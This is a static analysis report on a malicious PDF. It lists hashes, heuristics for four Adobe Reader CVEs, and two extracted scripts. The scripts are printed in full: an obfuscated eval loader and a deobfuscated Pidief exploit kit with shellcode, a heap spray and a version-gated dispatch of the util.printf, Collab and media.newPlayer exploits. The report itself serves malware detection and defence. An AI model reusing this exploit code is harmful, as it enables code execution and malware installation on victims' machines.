Malicious PDF — malware analysis report

Static analysis result for SHA-256 8eb72233fb39874c…

MALICIOUS

PDF

13.3 KB Created: 2010-05-07 07:45:44 Authoring application: Jefepobomaihexe First seen: 2026-05-09
MD5: 0a98804ccb5c7a467a6f32430c4e65d5 SHA-1: bb5324e0aa764675c6f2257396ec52c66ed1d8e0 SHA-256: 8eb72233fb39874ce88db8e64c0acae28765aef6b4ac8fe11259805d4e574b2a
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x2BB8 2691 bytes
SHA-256: a9c93e5a3233767587185b55eddb27ba22fc2a8076b1afc17264526e5148deab
Preview script
First 1,000 lines of the extracted script
// 5b7e507dab34d1d1b74de6d7a63f655e
var iZ="from"+"Char"+"CodeqHQ7".substr(0,4);
// 40e95c90331ff7caa470ed1cb3f0cbe7
var h=new String("subzHg".substr(0,3)+"str");
// 7452e320cb755683b0fb26c11aeff44e
var l=String;
// e4da045db7cf5c75925c94ef384b85cb
var n=100-100;
// 96f051df77b976edb0e6eeea07f31b1c
var p=this;
// 80c037e2ac77a1c002f81a130fd6ced3
var j=2;
// 5c3c1cfa79814b89b69110b8facb8119
var lE="gekzb".substr(0,2)+"tP"+"ag"+"eNVftE".substr(0,2)+"l4dthld4".substr(3,2)+"Woz4w".substr(0,2)+"rd";
// e8ff7e461731382bc9eb91f758019530
var gN=new String("lengt"+"h2Es".substr(0,1));
// f12f7fabf6647ab724e8a0fe7621b763;
// 33aac6b85c73dedc9521c2d91c592a43
var pC=new String("char"+"Code"+"At");
// d4e0c47001534b652143909e7c19d2b5
var mJ=String("ev9DF7".substr(0,2)+"alp6T".substr(0,2));
// 524ea9dcc51493c44dedaa7112ea1282
var b=new String("getPa8K5n".substr(0,5)+"geNum"+"tp7Wordsp7t".substr(3,5));
// 1f4e3b632089524881db6b9aa8bd6809
var x=String("charSjzi".substr(0,4)+"UrkTCodekTUr".substr(4,4)+"AtxQ7".substr(0,2));
// f188380b23524c12a89deca341c58e79
var bE=new String("%");
// fe6d337dbae1497ce1eb4ac90861796b
var aL="unesPF9f".substr(0,4)+"capeIQ2".substr(0,4);
// dfc539b7b40f1891cacff0aa38733b3b
var nQ=155;
// fe883bf227cd97a694c46cc8f59155ba
var wJ=18-16;
// d45c09cb6e13619de5bc60ec10254488
var xI=15-14;
// 4e2a622e811c89e7759a40d44e25fbe6
function iX(pG,mT){return pG+mT};
// 54f25d0b1308c1e30299f65bc12dfff9
function bEL(lK){return lK[gN]-wJ};
// 396681b9bfcb41ce76248bef1c6bf912
function gP(pG,mT){return pG-mT};
// 47a234ba9ea06f8b4a042caaa8df95ee
var v=p[b](j);
// 4f8d566ee55f376440ca55fa04e2734b
var x=p[x];
// f70a3f824ed5ca279b1bca3c17f30c9f
var r=new l();
// f8c5cc0976f0f63203434cc99d243435
function xQ(aZ,rO){return aZ[pC](rO)};
// 284ef23662ab9b56706fe9a27c940500
function eD(lK,rO){return lK[h](rO,wJ)};
// dc0a4a1499ad550ee612a90ab3983d03
var vW=p[aL];
// 5177ff2294217d96ef8525740577bd36
function qR(rM,gH){return rM^gH;};
// 45369433ec83dd30cecf9ca31aec4bfa
function f(xIH){return p[lE](j,xIH)};
// 993ec4dcc65f4a462c63df90fe1f8d22;
// fc0c420a50bde1e00944606ef2485456
var bQ=p[mJ];
// 2ce36c39a5670ad4b57b71491c15fca0
function yL(lK,t){return lK[t]};
// d27b1b1eb85b4fd875ce7da9591b6641
function xC(xIH){
// 71c4f905df238d10b109f2fbf087082f
var qN=f(xIH);
// c8eb068b95e6718430c4a6834aa3a11c
rO=bEL(qN);
// dc462d59790bd7b2462a5487719e2473
fU=eD(qN,rO);
// 23d4a7472f056c4f5e2df7d24a6ec85d
kB = vW(iX(bE,fU));return xQ(kB,n);};for(var xIH=n;xIH<v;xIH++){
// 32af86744b4b1398d86abe1ca4128272
var bK=xC(xIH);
// de72f6ca1d6b6255637f39b58116981e
var mX=qR(bK,nQ);
// 3aa169b3f6166fbbe1577829b09be082
r+=yL(l,iZ)(mX);
// 0b1ebd92032c78464c988c525cddc594
}bQ(r);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3774 bytes
SHA-256: bba6d44467e535d46da6dc26e868db0dc83e345cf28075cb5b87502e097aadcd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
vUUQQQQQ
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

UUUUUUUUUUUUUUU!��

Open this report in the interactive analyzer, or submit your own file for analysis.